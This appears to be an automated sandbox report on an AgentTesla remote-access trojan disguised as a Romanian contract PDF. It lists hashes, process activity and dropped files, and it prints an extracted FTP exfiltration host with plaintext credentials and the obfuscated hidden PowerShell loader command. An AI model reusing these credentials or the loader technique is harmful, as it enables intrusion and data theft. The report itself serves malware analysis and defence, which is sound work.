Analysis

  • max time kernel
    147s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    07-12-2023 07:26

General

  • Target

    REVIZUIREA CONTRACTULUI-pdf.exe

  • Size

    708KB

  • MD5

    380787d6ecbcc6cd4dd23df9da174c35

  • SHA1

    9298497f6ed0c8ab161a3c4a85c3a99b45613581

  • SHA256

    2dc56a2f3b12cbdb34a73d5d90e9759d48cc8eda0c8833cd64005559469a1058

  • SHA512

    8c75231ba6c44a946fabe2d12eb5e0980959a8cf4f9fabb6b6831c52d96b55d1d2cfd0ed84479b59192b3572a7a57888557311f6639c340d04fb4b24c235cb9b

  • SSDEEP

    12288:vwFGHEXzSTDHfwvNJUcXGzJTaylgimtdYM3O0V7bbW:v5HEXzI0NNXoJThlgZtub0V7u

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.vvspijkenisse.nl
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    playingboyz231

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\REVIZUIREA CONTRACTULUI-pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\REVIZUIREA CONTRACTULUI-pdf.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Calypso=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Beskyttelsesmidler\Unlighted\Splanchnographer.Kna';$Kalispel=$Calypso.SubString(53259,3);.$Kalispel($Calypso)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1704
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        3⤵
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2272

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

    Filesize

    32B

    MD5

    a8ca1db6ae34f5e5c152094f44f92476

    SHA1

    9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

    SHA256

    1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

    SHA512

    e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

  • C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Beskyttelsesmidler\Unlighted\Splanchnographer.Kna

    Filesize

    52KB

    MD5

    5d12c9d49bef39741a5077c2ea1a3118

    SHA1

    b6075ecd3a820510b37ca62f1d74d95f599c2fdc

    SHA256

    41b05b53faaef42cacc83c7c37c4e47bcf43eaef1fea8ef28b9d90a5bcb555b6

    SHA512

    27eae2e897e39de8b06a59454c8e49273386e066e5900d19f99b415ebbddc150e42794968774412c0f72bf5c6f0e1924469894ca013f6b98a081b411c8b1bf86

  • C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Blancheredes\Dysadaptation\sophia.Non

    Filesize

    309KB

    MD5

    f5017cc8df8d48957ca45afacd609df3

    SHA1

    e769c4d4e9ab2101f6f088135efd580a9ef9e4da

    SHA256

    61c7f23798426b06bbfb489a893a89567db6c8c84700d69a14e410c4e52b4366

    SHA512

    d6215ee0dc6b3fc3e875c88dbf6c012cc17e20bd0812cfe8ab2f2b66cc3116a5705f25af99986d55fb10b198019452f6c9c4cae8996a76f2a52630efdab0083e

  • memory/1704-152-0x0000000002330000-0x0000000002370000-memory.dmp

    Filesize

    256KB

  • memory/1704-155-0x0000000076EE0000-0x0000000077089000-memory.dmp

    Filesize

    1.7MB

  • memory/1704-142-0x0000000073760000-0x0000000073D0B000-memory.dmp

    Filesize

    5.7MB

  • memory/1704-144-0x0000000002330000-0x0000000002370000-memory.dmp

    Filesize

    256KB

  • memory/1704-145-0x0000000002330000-0x0000000002370000-memory.dmp

    Filesize

    256KB

  • memory/1704-150-0x0000000005000000-0x0000000005004000-memory.dmp

    Filesize

    16KB

  • memory/1704-151-0x0000000073760000-0x0000000073D0B000-memory.dmp

    Filesize

    5.7MB

  • memory/1704-146-0x0000000002330000-0x0000000002370000-memory.dmp

    Filesize

    256KB

  • memory/1704-154-0x0000000006100000-0x0000000009A7B000-memory.dmp

    Filesize

    57.5MB

  • memory/1704-143-0x0000000073760000-0x0000000073D0B000-memory.dmp

    Filesize

    5.7MB

  • memory/1704-156-0x00000000770D0000-0x00000000771A6000-memory.dmp

    Filesize

    856KB

  • memory/2272-157-0x0000000076EE0000-0x0000000077089000-memory.dmp

    Filesize

    1.7MB

  • memory/2272-158-0x000000006F260000-0x00000000702C2000-memory.dmp

    Filesize

    16.4MB

  • memory/2272-159-0x0000000001350000-0x0000000004CCB000-memory.dmp

    Filesize

    57.5MB

  • memory/2272-160-0x000000006EB70000-0x000000006F25E000-memory.dmp

    Filesize

    6.9MB

  • memory/2272-161-0x000000006F260000-0x000000006F2A0000-memory.dmp

    Filesize

    256KB

  • memory/2272-165-0x000000006EB70000-0x000000006F25E000-memory.dmp

    Filesize

    6.9MB